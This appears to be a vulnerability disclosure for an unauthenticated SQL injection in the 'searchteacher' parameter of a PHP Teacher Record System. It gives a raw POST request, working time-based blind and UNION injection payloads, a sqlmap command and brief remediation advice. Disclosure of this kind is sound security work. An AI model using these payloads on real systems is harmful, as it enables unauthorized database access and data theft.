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Teacher Record System in PHP/MySQL Project V1.0 /trms/search-teacher.php SQL injection #6

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NAME OF AFFECTED PRODUCT(S)

- Teacher Record System in PHP/MySQL

Vendor Homepage

- <https://www.sourcecodester.com/php/14399/teacher-record-system-phpmysql.html>

AFFECTED AND/OR FIXED VERSION(S)

submitter

- dyh18

Vulnerable File

- /trms/search-teacher.php

VERSION(S)

- V1.0

Software Link

- <https://www.sourcecodester.com/download-code?nid=14399&title=Teacher+Record+System+in+PHP%2FMySQL>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/trms/search-teacher.php' file of the 'Teacher Record System in PHP/MySQL ' project. The reason for this issue is that attackers inject malicious code from the parameter 'searchteacher' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Teacher Record System in PHP/MySQL ",I discovered a critical SQL injection vulnerability in the "/trms/search-teacher.php" file. This vulnerability stems from insufficient user input validation of the 'searchteacher' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

1.txt

```
POST /Teachers/trms/search-teacher.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 27
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=
exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/Teachers/trms/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=3osc6gnn22go9tr4kf1e6n4r15
Connection: keep-alive

searchteacher=13132*&search=
```



Vulnerability type:

- time-based blind
- boolean-based blind

Vulnerability location:

- searchteacher' parameter

Payload:

```
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: searchteacher=13132' AND (SELECT 5183 FROM (SELECT(SLEEP(5)))yoUJ) AND 'OPAB'='OPAB&search=

Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: searchteacher=13132' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b706b71,0x7a53497455416a50486f75
6261494e59586b547a656a6c6243755241496374524765734364664f54,0x716a6a7171),NULL,NULL,NULL,NULL-- --&search=
---
[14:43:06] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.3.29
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -r 1.txt --dbs
```



2. Input validation and filtering:

Strictly validate and filter user input data to ensure it conforms to the expected format.

3. Minimize database user permissions:

Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as ' root 'or' admin ') for daily operations.

4. Regular security audits:

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.



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Code with agent mode

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